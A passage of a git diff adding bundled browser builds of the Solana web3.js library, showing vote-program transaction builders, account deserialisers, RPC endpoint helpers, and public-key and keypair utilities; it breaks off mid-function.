votePubkey: params.votePubkey, + nodePubkey: params.voteInit.nodePubkey, + voteInit: params.voteInit + })); + } + + /** + * Generate a transaction that authorizes a new Voter or Withdrawer on the Vote account. + */ + static authorize(params) { + const { + votePubkey, + authorizedPubkey, + newAuthorizedPubkey, + voteAuthorizationType + } = params; + const type = VOTE_INSTRUCTION_LAYOUTS.Authorize; + const data = encodeData(type, { + newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()), + voteAuthorizationType: voteAuthorizationType.index + }); + const keys = [{ + pubkey: votePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_CLOCK_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: authorizedPubkey, + isSigner: true, + isWritable: false + }]; + return new Transaction().add({ + keys, + programId: this.programId, + data + }); + } + + /** + * Generate a transaction that authorizes a new Voter or Withdrawer on the Vote account + * where the current Voter or Withdrawer authority is a derived key. + */ + static authorizeWithSeed(params) { + const { + currentAuthorityDerivedKeyBasePubkey, + currentAuthorityDerivedKeyOwnerPubkey, + currentAuthorityDerivedKeySeed, + newAuthorizedPubkey, + voteAuthorizationType, + votePubkey + } = params; + const type = VOTE_INSTRUCTION_LAYOUTS.AuthorizeWithSeed; + const data = encodeData(type, { + voteAuthorizeWithSeedArgs: { + currentAuthorityDerivedKeyOwnerPubkey: toBuffer(currentAuthorityDerivedKeyOwnerPubkey.toBuffer()), + currentAuthorityDerivedKeySeed: currentAuthorityDerivedKeySeed, + newAuthorized: toBuffer(newAuthorizedPubkey.toBuffer()), + voteAuthorizationType: voteAuthorizationType.index + } + }); + const keys = [{ + pubkey: votePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: SYSVAR_CLOCK_PUBKEY, + isSigner: false, + isWritable: false + }, { + pubkey: currentAuthorityDerivedKeyBasePubkey, + isSigner: true, + isWritable: false + }]; + return new Transaction().add({ + keys, + programId: this.programId, + data + }); + } + + /** + * Generate a transaction to withdraw from a Vote account. + */ + static withdraw(params) { + const { + votePubkey, + authorizedWithdrawerPubkey, + lamports, + toPubkey + } = params; + const type = VOTE_INSTRUCTION_LAYOUTS.Withdraw; + const data = encodeData(type, { + lamports + }); + const keys = [{ + pubkey: votePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: toPubkey, + isSigner: false, + isWritable: true + }, { + pubkey: authorizedWithdrawerPubkey, + isSigner: true, + isWritable: false + }]; + return new Transaction().add({ + keys, + programId: this.programId, + data + }); + } + + /** + * Generate a transaction to withdraw safely from a Vote account. + * + * This function was created as a safeguard for vote accounts running validators, `safeWithdraw` + * checks that the withdraw amount will not exceed the specified balance while leaving enough left + * to cover rent. If you wish to close the vote account by withdrawing the full amount, call the + * `withdraw` method directly. + */ + static safeWithdraw(params, currentVoteAccountBalance, rentExemptMinimum) { + if (params.lamports > currentVoteAccountBalance - rentExemptMinimum) { + throw new Error('Withdraw will leave vote account with insufficient funds.'); + } + return VoteProgram.withdraw(params); + } + + /** + * Generate a transaction to update the validator identity (node pubkey) of a Vote account. + */ + static updateValidatorIdentity(params) { + const { + votePubkey, + authorizedWithdrawerPubkey, + nodePubkey + } = params; + const type = VOTE_INSTRUCTION_LAYOUTS.UpdateValidatorIdentity; + const data = encodeData(type); + const keys = [{ + pubkey: votePubkey, + isSigner: false, + isWritable: true + }, { + pubkey: nodePubkey, + isSigner: true, + isWritable: false + }, { + pubkey: authorizedWithdrawerPubkey, + isSigner: true, + isWritable: false + }]; + return new Transaction().add({ + keys, + programId: this.programId, + data + }); + } +} +VoteProgram.programId = new PublicKey('Vote111111111111111111111111111111111111111'); +/** + * Max space of a Vote account + * + * This is generated from the solana-vote-program VoteState struct as + * `VoteState::size_of()`: + * https://docs.rs/solana-vote-program/1.9.5/solana_vote_program/vote_state/struct.VoteState.html#method.size_of + * + * KEEP IN SYNC WITH `VoteState::size_of()` in https://github.com/solana-labs/solana/blob/a474cb24b9238f5edcc982f65c0b37d4a1046f7e/sdk/program/src/vote/state/mod.rs#L340-L342 + */ +VoteProgram.space = 3762; + +const VALIDATOR_INFO_KEY = new PublicKey('Va1idator1nfo111111111111111111111111111111'); + +/** + * @internal + */ + +/** + * Info used to identity validators. + */ + +const InfoString = type({ + name: string(), + website: optional(string()), + details: optional(string()), + iconUrl: optional(string()), + keybaseUsername: optional(string()) +}); + +/** + * ValidatorInfo class + */ +class ValidatorInfo { + /** + * Construct a valid ValidatorInfo + * + * @param key validator public key + * @param info validator information + */ + constructor(key, info) { + /** + * validator public key + */ + this.key = void 0; + /** + * validator information + */ + this.info = void 0; + this.key = key; + this.info = info; + } + + /** + * Deserialize ValidatorInfo from the config account data. Exactly two config + * keys are required in the data. + * + * @param buffer config account data + * @return null if info was not found + */ + static fromConfigData(buffer) { + let byteArray = [...buffer]; + const configKeyCount = decodeLength(byteArray); + if (configKeyCount !== 2) return null; + const configKeys = []; + for (let i = 0; i < 2; i++) { + const publicKey = new PublicKey(guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH)); + const isSigner = guardedShift(byteArray) === 1; + configKeys.push({ + publicKey, + isSigner + }); + } + if (configKeys[0].publicKey.equals(VALIDATOR_INFO_KEY)) { + if (configKeys[1].isSigner) { + const rawInfo = rustString().decode(Buffer.from(byteArray)); + const info = JSON.parse(rawInfo); + assert$1(info, InfoString); + return new ValidatorInfo(configKeys[1].publicKey, info); + } + } + return null; + } +} + +const VOTE_PROGRAM_ID = new PublicKey('Vote111111111111111111111111111111111111111'); + +/** + * History of how many credits earned by the end of each epoch + */ + +/** + * See https://github.com/solana-labs/solana/blob/8a12ed029cfa38d4a45400916c2463fb82bbec8c/programs/vote_api/src/vote_state.rs#L68-L88 + * + * @internal + */ +const VoteAccountLayout = BufferLayout.struct([publicKey('nodePubkey'), publicKey('authorizedWithdrawer'), BufferLayout.u8('commission'), BufferLayout.nu64(), +// votes.length +BufferLayout.seq(BufferLayout.struct([BufferLayout.nu64('slot'), BufferLayout.u32('confirmationCount')]), BufferLayout.offset(BufferLayout.u32(), -8), 'votes'), BufferLayout.u8('rootSlotValid'), BufferLayout.nu64('rootSlot'), BufferLayout.nu64(), +// authorizedVoters.length +BufferLayout.seq(BufferLayout.struct([BufferLayout.nu64('epoch'), publicKey('authorizedVoter')]), BufferLayout.offset(BufferLayout.u32(), -8), 'authorizedVoters'), BufferLayout.struct([BufferLayout.seq(BufferLayout.struct([publicKey('authorizedPubkey'), BufferLayout.nu64('epochOfLastAuthorizedSwitch'), BufferLayout.nu64('targetEpoch')]), 32, 'buf'), BufferLayout.nu64('idx'), BufferLayout.u8('isEmpty')], 'priorVoters'), BufferLayout.nu64(), +// epochCredits.length +BufferLayout.seq(BufferLayout.struct([BufferLayout.nu64('epoch'), BufferLayout.nu64('credits'), BufferLayout.nu64('prevCredits')]), BufferLayout.offset(BufferLayout.u32(), -8), 'epochCredits'), BufferLayout.struct([BufferLayout.nu64('slot'), BufferLayout.nu64('timestamp')], 'lastTimestamp')]); +/** + * VoteAccount class + */ +class VoteAccount { + /** + * @internal + */ + constructor(args) { + this.nodePubkey = void 0; + this.authorizedWithdrawer = void 0; + this.commission = void 0; + this.rootSlot = void 0; + this.votes = void 0; + this.authorizedVoters = void 0; + this.priorVoters = void 0; + this.epochCredits = void 0; + this.lastTimestamp = void 0; + this.nodePubkey = args.nodePubkey; + this.authorizedWithdrawer = args.authorizedWithdrawer; + this.commission = args.commission; + this.rootSlot = args.rootSlot; + this.votes = args.votes; + this.authorizedVoters = args.authorizedVoters; + this.priorVoters = args.priorVoters; + this.epochCredits = args.epochCredits; + this.lastTimestamp = args.lastTimestamp; + } + + /** + * Deserialize VoteAccount from the account data. + * + * @param buffer account data + * @return VoteAccount + */ + static fromAccountData(buffer) { + const versionOffset = 4; + const va = VoteAccountLayout.decode(toBuffer(buffer), versionOffset); + let rootSlot = va.rootSlot; + if (!va.rootSlotValid) { + rootSlot = null; + } + return new VoteAccount({ + nodePubkey: new PublicKey(va.nodePubkey), + authorizedWithdrawer: new PublicKey(va.authorizedWithdrawer), + commission: va.commission, + votes: va.votes, + rootSlot, + authorizedVoters: va.authorizedVoters.map(parseAuthorizedVoter), + priorVoters: getPriorVoters(va.priorVoters), + epochCredits: va.epochCredits, + lastTimestamp: va.lastTimestamp + }); + } +} +function parseAuthorizedVoter({ + authorizedVoter, + epoch +}) { + return { + epoch, + authorizedVoter: new PublicKey(authorizedVoter) + }; +} +function parsePriorVoters({ + authorizedPubkey, + epochOfLastAuthorizedSwitch, + targetEpoch +}) { + return { + authorizedPubkey: new PublicKey(authorizedPubkey), + epochOfLastAuthorizedSwitch, + targetEpoch + }; +} +function getPriorVoters({ + buf, + idx, + isEmpty +}) { + if (isEmpty) { + return []; + } + return [...buf.slice(idx + 1).map(parsePriorVoters), ...buf.slice(0, idx).map(parsePriorVoters)]; +} + +const endpoint = { + http: { + devnet: 'http://api.devnet.solana.com', + testnet: 'http://api.testnet.solana.com', + 'mainnet-beta': 'http://api.mainnet-beta.solana.com/' + }, + https: { + devnet: 'https://api.devnet.solana.com', + testnet: 'https://api.testnet.solana.com', + 'mainnet-beta': 'https://api.mainnet-beta.solana.com/' + } +}; +/** + * Retrieves the RPC API URL for the specified cluster + * @param {Cluster} [cluster="devnet"] - The cluster name of the RPC API URL to use. Possible options: 'devnet' | 'testnet' | 'mainnet-beta' + * @param {boolean} [tls="http"] - Use TLS when connecting to cluster. + * + * @returns {string} URL string of the RPC endpoint + */ +function clusterApiUrl(cluster, tls) { + const key = tls === false ? 'http' : 'https'; + if (!cluster) { + return endpoint[key]['devnet']; + } + const url = endpoint[key][cluster]; + if (!url) { + throw new Error(`Unknown ${key} cluster: ${cluster}`); + } + return url; +} + +/** + * Send and confirm a raw transaction + * + * If `commitment` option is not specified, defaults to 'max' commitment. + * + * @param {Connection} connection + * @param {Buffer} rawTransaction + * @param {TransactionConfirmationStrategy} confirmationStrategy + * @param {ConfirmOptions} [options] + * @returns {Promise} + */ + +/** + * @deprecated Calling `sendAndConfirmRawTransaction()` without a `confirmationStrategy` + * is no longer supported and will be removed in a future version. + */ +// eslint-disable-next-line no-redeclare + +// eslint-disable-next-line no-redeclare +async function sendAndConfirmRawTransaction(connection, rawTransaction, confirmationStrategyOrConfirmOptions, maybeConfirmOptions) { + let confirmationStrategy; + let options; + if (confirmationStrategyOrConfirmOptions && Object.prototype.hasOwnProperty.call(confirmationStrategyOrConfirmOptions, 'lastValidBlockHeight')) { + confirmationStrategy = confirmationStrategyOrConfirmOptions; + options = maybeConfirmOptions; + } else if (confirmationStrategyOrConfirmOptions && Object.prototype.hasOwnProperty.call(confirmationStrategyOrConfirmOptions, 'nonceValue')) { + confirmationStrategy = confirmationStrategyOrConfirmOptions; + options = maybeConfirmOptions; + } else { + options = confirmationStrategyOrConfirmOptions; + } + const sendOptions = options && { + skipPreflight: options.skipPreflight, + preflightCommitment: options.preflightCommitment || options.commitment, + minContextSlot: options.minContextSlot + }; + const signature = await connection.sendRawTransaction(rawTransaction, sendOptions); + const commitment = options && options.commitment; + const confirmationPromise = confirmationStrategy ? connection.confirmTransaction(confirmationStrategy, commitment) : connection.confirmTransaction(signature, commitment); + const status = (await confirmationPromise).value; + if (status.err) { + if (signature != null) { + throw new SendTransactionError({ + action: sendOptions?.skipPreflight ? 'send' : 'simulate', + signature: signature, + transactionMessage: `Status: (${JSON.stringify(status)})` + }); + } + throw new Error(`Raw transaction ${signature} failed (${JSON.stringify(status)})`); + } + return signature; +} + +/** + * There are 1-billion lamports in one SOL + */ +const LAMPORTS_PER_SOL = 1000000000; + +export { Account, AddressLookupTableAccount, AddressLookupTableInstruction, AddressLookupTableProgram, Authorized, BLOCKHASH_CACHE_TIMEOUT_MS, BPF_LOADER_DEPRECATED_PROGRAM_ID, BPF_LOADER_PROGRAM_ID, BpfLoader, COMPUTE_BUDGET_INSTRUCTION_LAYOUTS, ComputeBudgetInstruction, ComputeBudgetProgram, Connection, Ed25519Program, Enum, EpochSchedule, FeeCalculatorLayout, Keypair, LAMPORTS_PER_SOL, LOOKUP_TABLE_INSTRUCTION_LAYOUTS, Loader, Lockup, MAX_SEED_LENGTH, Message, MessageAccountKeys, MessageV0, NONCE_ACCOUNT_LENGTH, NonceAccount, PACKET_DATA_SIZE, PUBLIC_KEY_LENGTH, PublicKey, SIGNATURE_LENGTH_IN_BYTES, SOLANA_SCHEMA, STAKE_CONFIG_ID, STAKE_INSTRUCTION_LAYOUTS, SYSTEM_INSTRUCTION_LAYOUTS, SYSVAR_CLOCK_PUBKEY, SYSVAR_EPOCH_SCHEDULE_PUBKEY, SYSVAR_INSTRUCTIONS_PUBKEY, SYSVAR_RECENT_BLOCKHASHES_PUBKEY, SYSVAR_RENT_PUBKEY, SYSVAR_REWARDS_PUBKEY, SYSVAR_SLOT_HASHES_PUBKEY, SYSVAR_SLOT_HISTORY_PUBKEY, SYSVAR_STAKE_HISTORY_PUBKEY, Secp256k1Program, SendTransactionError, SolanaJSONRPCError, SolanaJSONRPCErrorCode, StakeAuthorizationLayout, StakeInstruction, StakeProgram, Struct, SystemInstruction, SystemProgram, Transaction, TransactionExpiredBlockheightExceededError, TransactionExpiredNonceInvalidError, TransactionExpiredTimeoutError, TransactionInstruction, TransactionMessage, TransactionStatus, VALIDATOR_INFO_KEY, VERSION_PREFIX_MASK, VOTE_PROGRAM_ID, ValidatorInfo, VersionedMessage, VersionedTransaction, VoteAccount, VoteAuthorizationLayout, VoteInit, VoteInstruction, VoteProgram, clusterApiUrl, sendAndConfirmRawTransaction, sendAndConfirmTransaction }; +//# sourceMappingURL=index.browser.esm.js.map diff --git a/npm/2024.solana_web3/v1.95.8.index.browser.esm.js b/npm/2024.solana_web3/v1.95.8.index.browser.esm.js new file mode 100644 index 0000000..818aedc --- /dev/null +++ b/npm/2024.solana_web3/v1.95.8.index.browser.esm.js @@ -0,0 +1,10469 @@ +import { Buffer } from 'buffer'; +import { ed25519 } from '@noble/curves/ed25519'; +import BN from 'bn.js'; +import bs58 from 'bs58'; +import { sha256 } from '@noble/hashes/sha256'; +import { serialize, deserialize, deserializeUnchecked } from 'borsh'; +import * as BufferLayout from '@solana/buffer-layout'; +import { blob } from '@solana/buffer-layout'; +import { toBigIntLE, toBufferLE } from 'bigint-buffer'; +import { coerce, instance, string, tuple, literal, unknown, type, number, array, nullable, optional, boolean, record, union, create, any, assert as assert$1 } from 'superstruct'; +import RpcClient from 'jayson/lib/client/browser'; +import { CommonClient, WebSocket } from 'rpc-websockets'; +import { keccak_256 } from '@noble/hashes/sha3'; +import { secp256k1 } from '@noble/curves/secp256k1'; + +/** + * A 64 byte secret key, the first 32 bytes of which is the + * private scalar and the last 32 bytes is the public key. + * Read more: https://blog.mozilla.org/warner/2011/11/29/ed25519-keys/ + */ + +/** + * Ed25519 Keypair + */ + +const generatePrivateKey = ed25519.utils.randomPrivateKey; +const generateKeypair = () => { + const privateScalar = ed25519.utils.randomPrivateKey(); + const publicKey = getPublicKey(privateScalar); + const secretKey = new Uint8Array(64); + secretKey.set(privateScalar); + secretKey.set(publicKey, 32); + return { + publicKey, + secretKey + }; +}; +const getPublicKey = ed25519.getPublicKey; +function isOnCurve(publicKey) { + try { + ed25519.ExtendedPoint.fromHex(publicKey); + return true; + } catch { + return false; + } +} +const sign = (message, secretKey) => ed25519.sign(message, secretKey.slice(0, 32)); +const verify = ed25519.verify; + +const toBuffer = arr => { + if (Buffer.isBuffer(arr)) { + return arr; + } else if (arr instanceof Uint8Array) { + return Buffer.from(arr.buffer, arr.byteOffset, arr.byteLength); + } else { + return Buffer.from(arr); + } +}; + +// Class wrapping a plain object +class Struct { + constructor(properties) { + Object.assign(this, properties); + } + encode() { + return Buffer.from(serialize(SOLANA_SCHEMA, this)); + } + static decode(data) { + return deserialize(SOLANA_SCHEMA, this, data); + } + static decodeUnchecked(data) { + return deserializeUnchecked(SOLANA_SCHEMA, this, data); + } +} + +// Class representing a Rust-compatible enum, since enums are only strings or +// numbers in pure JS +class Enum extends Struct { + constructor(properties) { + super(properties); + this.enum = ''; + if (Object.keys(properties).length !== 1) { + throw new Error('Enum can only take single value'); + } + Object.keys(properties).map(key => { + this.enum = key; + }); + } +} +const SOLANA_SCHEMA = new Map(); + +var _PublicKey; + +/** + * Maximum length of derived pubkey seed + */ +const MAX_SEED_LENGTH = 32; + +/** + * Size of public key in bytes + */ +const PUBLIC_KEY_LENGTH = 32; + +/** + * Value to be converted into public key + */ + +/** + * JSON object representation of PublicKey class + */ + +function isPublicKeyData(value) { + return value._bn !== undefined; +} + +// local counter used by PublicKey.unique() +let uniquePublicKeyCounter = 1; + +/** + * A public key + */ +class PublicKey extends Struct { + /** + * Create a new PublicKey object + * @param value ed25519 public key as buffer or base-58 encoded string + */ + constructor(value) { + super({}); + /** @internal */ + this._bn = void 0; + if (isPublicKeyData(value)) { + this._bn = value._bn; + } else { + if (typeof value === 'string') { + // assume base 58 encoding by default + const decoded = bs58.decode(value); + if (decoded.length != PUBLIC_KEY_LENGTH) { + throw new Error(`Invalid public key input`); + } + this._bn = new BN(decoded); + } else { + this._bn = new BN(value); + } + if (this._bn.byteLength() > PUBLIC_KEY_LENGTH) { + throw new Error(`Invalid public key input`); + } + } + } + + /** + * Returns a unique PublicKey for tests and benchmarks using a counter + */ + static unique() { + const key = new PublicKey(uniquePublicKeyCounter); + uniquePublicKeyCounter += 1; + return new PublicKey(key.toBuffer()); + } + + /** + * Default public key value. The base58-encoded string representation is all ones (as seen below) + * The underlying BN number is 32 bytes that are all zeros + */ + + /** + * Checks if two publicKeys are equal + */ + equals(publicKey) { + return this._bn.eq(publicKey._bn); + } + + /** + * Return the base-58 representation of the public key + */ + toBase58() { + return bs58.encode(this.toBytes()); + } + toJSON() { + return this.toBase58(); + } + + /** + * Return the byte array representation of the public key in big endian + */ + toBytes() { + const buf = this.toBuffer(); + return new Uint8Array(buf.buffer, buf.byteOffset, buf.byteLength); + } + + /** + * Return the Buffer representation of the public key in big endian + */ + toBuffer() { + const b = this._bn.toArrayLike(Buffer); + if (b.length === PUBLIC_KEY_LENGTH) { + return b; + } + const zeroPad = Buffer.alloc(32); + b.copy(zeroPad, 32 - b.length); + return zeroPad; + } + get [Symbol.toStringTag]() { + return `PublicKey(${this.toString()})`; + } + + /** + * Return the base-58 representation of the public key + */ + toString() { + return this.toBase58(); + } + + /** + * Derive a public key from another key, a seed, and a program ID. + * The program ID will also serve as the owner of the public key, giving + * it permission to write data to the account. + */ + /* eslint-disable require-await */ + static async createWithSeed(fromPublicKey, seed, programId) { + const buffer = Buffer.concat([fromPublicKey.toBuffer(), Buffer.from(seed), programId.toBuffer()]); + const publicKeyBytes = sha256(buffer); + return new PublicKey(publicKeyBytes); + } + + /** + * Derive a program address from seeds and a program ID. + */ + /* eslint-disable require-await */ + static createProgramAddressSync(seeds, programId) { + let buffer = Buffer.alloc(0); + seeds.forEach(function (seed) { + if (seed.length > MAX_SEED_LENGTH) { + throw new TypeError(`Max seed length exceeded`); + } + buffer = Buffer.concat([buffer, toBuffer(seed)]); + }); + buffer = Buffer.concat([buffer, programId.toBuffer(), Buffer.from('ProgramDerivedAddress')]); + const publicKeyBytes = sha256(buffer); + if (isOnCurve(publicKeyBytes)) { + throw new Error(`Invalid seeds, address must fall off the curve`); + } + return new PublicKey(publicKeyBytes); + } + + /** + * Async version of createProgramAddressSync + * For backwards compatibility + * + * @deprecated Use {@link createProgramAddressSync} instead + */ + /* eslint-disable require-await */ + static async createProgramAddress(seeds, programId) { + return this.createProgramAddressSync(seeds, programId); + } + + /** + * Find a valid program address + * + * Valid program addresses must fall off the ed25519 curve. This function + * iterates a nonce until it finds one that when combined with the seeds + * results in a valid program address. + */ + static findProgramAddressSync(seeds, programId) { + let nonce = 255; + let address; + while (nonce != 0) { + try { + const seedsWithNonce = seeds.concat(Buffer.from([nonce])); + address = this.createProgramAddressSync(seedsWithNonce, programId); + } catch (err) { + if (err instanceof TypeError) { + throw err; + } + nonce--; + continue; + } + return [address, nonce]; + } + throw new Error(`Unable to find a viable program address nonce`); + } + + /** + * Async version of findProgramAddressSync + * For backwards compatibility + * + * @deprecated Use {@link findProgramAddressSync} instead + */ + static async findProgramAddress(seeds, programId) { + return this.findProgramAddressSync(seeds, programId); + } + + /** + * Check that a pubkey is on the ed25519 curve. + */ + static isOnCurve(pubkeyData) { + const pubkey = new PublicKey(pubkeyData); + return isOnCurve(pubkey.toBytes()); + } +} +_PublicKey = PublicKey; +PublicKey.default = new _PublicKey('11111111111111111111111111111111'); +SOLANA_SCHEMA.set(PublicKey, { + kind: 'struct', + fields: [['_bn', 'u256']] +}); + +/** + * An account key pair (public and secret keys). + * + * @deprecated since v1.10.0, please use {@link Keypair} instead. + */ +class Account { + /** + * Create a new Account object + * + * If the secretKey parameter is not provided a new key pair is randomly + * created for the account + * + * @param secretKey Secret key for the account + */ + constructor(secretKey) { + /** @internal */ + this._publicKey = void 0; + /** @internal */ + this._secretKey = void 0; + if (secretKey) { + const secretKeyBuffer = toBuffer(secretKey); + if (secretKey.length !== 64) { + throw new Error('bad secret key size'); + } + this._publicKey = secretKeyBuffer.slice(32, 64); + this._secretKey = secretKeyBuffer.slice(0, 32); + } else { + this._secretKey = toBuffer(generatePrivateKey()); + this._publicKey = toBuffer(getPublicKey(this._secretKey)); + } + } + + /** + * The public key for this account + */ + get publicKey() { + return new PublicKey(this._publicKey); + } + + /** + * The **unencrypted** secret key for this account. The first 32 bytes + * is the private scalar and the last 32 bytes is the public key. + * Read more: https://blog.mozilla.org/warner/2011/11/29/ed25519-keys/ + */ + get secretKey() { + return Buffer.concat([this._secretKey, this._publicKey], 64); + } +} + +const BPF_LOADER_DEPRECATED_PROGRAM_ID = new PublicKey('BPFLoader1111111111111111111111111111111111'); + +/** + * Maximum over-the-wire size of a Transaction + * + * 1280 is IPv6 minimum MTU + * 40 bytes is the size of the IPv6 header + * 8 bytes is the size of the fragment header + */ +const PACKET_DATA_SIZE = 1280 - 40 - 8; +const VERSION_PREFIX_MASK = 0x7f; +const SIGNATURE_LENGTH_IN_BYTES = 64; + +class TransactionExpiredBlockheightExceededError extends Error { + constructor(signature) { + super(`Signature ${signature} has expired: block height exceeded.`); + this.signature = void 0; + this.signature = signature; + } +} +Object.defineProperty(TransactionExpiredBlockheightExceededError.prototype, 'name', { + value: 'TransactionExpiredBlockheightExceededError' +}); +class TransactionExpiredTimeoutError extends Error { + constructor(signature, timeoutSeconds) { + super(`Transaction was not confirmed in ${timeoutSeconds.toFixed(2)} seconds. It is ` + 'unknown if it succeeded or failed. Check signature ' + `${signature} using the Solana Explorer or CLI tools.`); + this.signature = void 0; + this.signature = signature; + } +} +Object.defineProperty(TransactionExpiredTimeoutError.prototype, 'name', { + value: 'TransactionExpiredTimeoutError' +}); +class TransactionExpiredNonceInvalidError extends Error { + constructor(signature) { + super(`Signature ${signature} has expired: the nonce is no longer valid.`); + this.signature = void 0; + this.signature = signature; + } +} +Object.defineProperty(TransactionExpiredNonceInvalidError.prototype, 'name', { + value: 'TransactionExpiredNonceInvalidError' +}); + +class MessageAccountKeys { + constructor(staticAccountKeys, accountKeysFromLookups) { + this.staticAccountKeys = void 0; + this.accountKeysFromLookups = void 0; + this.staticAccountKeys = staticAccountKeys; + this.accountKeysFromLookups = accountKeysFromLookups; + } + keySegments() { + const keySegments = [this.staticAccountKeys]; + if (this.accountKeysFromLookups) { + keySegments.push(this.accountKeysFromLookups.writable); + keySegments.push(this.accountKeysFromLookups.readonly); + } + return keySegments; + } + get(index) { + for (const keySegment of this.keySegments()) { + if (index < keySegment.length) { + return keySegment[index]; + } else { + index -= keySegment.length; + } + } + return; + } + get length() { + return this.keySegments().flat().length; + } + compileInstructions(instructions) { + // Bail early if any account indexes would overflow a u8 + const U8_MAX = 255; + if (this.length > U8_MAX + 1) { + throw new Error('Account index overflow encountered during compilation'); + } + const keyIndexMap = new Map(); + this.keySegments().flat().forEach((key, index) => { + keyIndexMap.set(key.toBase58(), index); + }); + const findKeyIndex = key => { + const keyIndex = keyIndexMap.get(key.toBase58()); + if (keyIndex === undefined) throw new Error('Encountered an unknown instruction account key during compilation'); + return keyIndex; + }; + return instructions.map(instruction => { + return { + programIdIndex: findKeyIndex(instruction.programId), + accountKeyIndexes: instruction.keys.map(meta => findKeyIndex(meta.pubkey)), + data: instruction.data + }; + }); + } +} + +/** + * Layout for a public key + */ +const publicKey = (property = 'publicKey') => { + return BufferLayout.blob(32, property); +}; + +/** + * Layout for a signature + */ +const signature = (property = 'signature') => { + return BufferLayout.blob(64, property); +}; +/** + * Layout for a Rust String type + */ +const rustString = (property = 'string') => { + const rsl = BufferLayout.struct([BufferLayout.u32('length'), BufferLayout.u32('lengthPadding'), BufferLayout.blob(BufferLayout.offset(BufferLayout.u32(), -8), 'chars')], property); + const _decode = rsl.decode.bind(rsl); + const _encode = rsl.encode.bind(rsl); + const rslShim = rsl; + rslShim.decode = (b, offset) => { + const data = _decode(b, offset); + return data['chars'].toString(); + }; + rslShim.encode = (str, b, offset) => { + const data = { + chars: Buffer.from(str, 'utf8') + }; + return _encode(data, b, offset); + }; + rslShim.alloc = str => { + return BufferLayout.u32().span + BufferLayout.u32().span + Buffer.from(str, 'utf8').length; + }; + return rslShim; +}; + +/** + * Layout for an Authorized object + */ +const authorized = (property = 'authorized') => { + return BufferLayout.struct([publicKey('staker'), publicKey('withdrawer')], property); +}; + +/** + * Layout for a Lockup object + */ +const lockup = (property = 'lockup') => { + return BufferLayout.struct([BufferLayout.ns64('unixTimestamp'), BufferLayout.ns64('epoch'), publicKey('custodian')], property); +}; + +/** + * Layout for a VoteInit object + */ +const voteInit = (property = 'voteInit') => { + return BufferLayout.struct([publicKey('nodePubkey'), publicKey('authorizedVoter'), publicKey('authorizedWithdrawer'), BufferLayout.u8('commission')], property); +}; + +/** + * Layout for a VoteAuthorizeWithSeedArgs object + */ +const voteAuthorizeWithSeedArgs = (property = 'voteAuthorizeWithSeedArgs') => { + return BufferLayout.struct([BufferLayout.u32('voteAuthorizationType'), publicKey('currentAuthorityDerivedKeyOwnerPubkey'), rustString('currentAuthorityDerivedKeySeed'), publicKey('newAuthorized')], property); +}; +function getAlloc(type, fields) { + const getItemAlloc = item => { + if (item.span >= 0) { + return item.span; + } else if (typeof item.alloc === 'function') { + return item.alloc(fields[item.property]); + } else if ('count' in item && 'elementLayout' in item) { + const field = fields[item.property]; + if (Array.isArray(field)) { + return field.length * getItemAlloc(item.elementLayout); + } + } else if ('fields' in item) { + // This is a `Structure` whose size needs to be recursively measured. + return getAlloc({ + layout: item + }, fields[item.property]); + } + // Couldn't determine allocated size of layout + return 0; + }; + let alloc = 0; + type.layout.fields.forEach(item => { + alloc += getItemAlloc(item); + }); + return alloc; +} + +function decodeLength(bytes) { + let len = 0; + let size = 0; + for (;;) { + let elem = bytes.shift(); + len |= (elem & 0x7f) << size * 7; + size += 1; + if ((elem & 0x80) === 0) { + break; + } + } + return len; +} +function encodeLength(bytes, len) { + let rem_len = len; + for (;;) { + let elem = rem_len & 0x7f; + rem_len >>= 7; + if (rem_len == 0) { + bytes.push(elem); + break; + } else { + elem |= 0x80; + bytes.push(elem); + } + } +} + +function assert (condition, message) { + if (!condition) { + throw new Error(message || 'Assertion failed'); + } +} + +class CompiledKeys { + constructor(payer, keyMetaMap) { + this.payer = void 0; + this.keyMetaMap = void 0; + this.payer = payer; + this.keyMetaMap = keyMetaMap; + } + static compile(instructions, payer) { + const keyMetaMap = new Map(); + const getOrInsertDefault = pubkey => { + const address = pubkey.toBase58(); + let keyMeta = keyMetaMap.get(address); + if (keyMeta === undefined) { + keyMeta = { + isSigner: false, + isWritable: false, + isInvoked: false + }; + keyMetaMap.set(address, keyMeta); + } + return keyMeta; + }; + const payerKeyMeta = getOrInsertDefault(payer); + payerKeyMeta.isSigner = true; + payerKeyMeta.isWritable = true; + for (const ix of instructions) { + getOrInsertDefault(ix.programId).isInvoked = true; + for (const accountMeta of ix.keys) { + const keyMeta = getOrInsertDefault(accountMeta.pubkey); + keyMeta.isSigner ||= accountMeta.isSigner; + keyMeta.isWritable ||= accountMeta.isWritable; + } + } + return new CompiledKeys(payer, keyMetaMap); + } + getMessageComponents() { + const mapEntries = [...this.keyMetaMap.entries()]; + assert(mapEntries.length <= 256, 'Max static account keys length exceeded'); + const writableSigners = mapEntries.filter(([, meta]) => meta.isSigner && meta.isWritable); + const readonlySigners = mapEntries.filter(([, meta]) => meta.isSigner && !meta.isWritable); + const writableNonSigners = mapEntries.filter(([, meta]) => !meta.isSigner && meta.isWritable); + const readonlyNonSigners = mapEntries.filter(([, meta]) => !meta.isSigner && !meta.isWritable); + const header = { + numRequiredSignatures: writableSigners.length + readonlySigners.length, + numReadonlySignedAccounts: readonlySigners.length, + numReadonlyUnsignedAccounts: readonlyNonSigners.length + }; + + // sanity checks + { + assert(writableSigners.length > 0, 'Expected at least one writable signer key'); + const [payerAddress] = writableSigners[0]; + assert(payerAddress === this.payer.toBase58(), 'Expected first writable signer key to be the fee payer'); + } + const staticAccountKeys = [...writableSigners.map(([address]) => new PublicKey(address)), ...readonlySigners.map(([address]) => new PublicKey(address)), ...writableNonSigners.map(([address]) => new PublicKey(address)), ...readonlyNonSigners.map(([address]) => new PublicKey(address))]; + return [header, staticAccountKeys]; + } + extractTableLookup(lookupTable) { + const [writableIndexes, drainedWritableKeys] = this.drainKeysFoundInLookupTable(lookupTable.state.addresses, keyMeta => !keyMeta.isSigner && !keyMeta.isInvoked && keyMeta.isWritable); + const [readonlyIndexes, drainedReadonlyKeys] = this.drainKeysFoundInLookupTable(lookupTable.state.addresses, keyMeta => !keyMeta.isSigner && !keyMeta.isInvoked && !keyMeta.isWritable); + + // Don't extract lookup if no keys were found + if 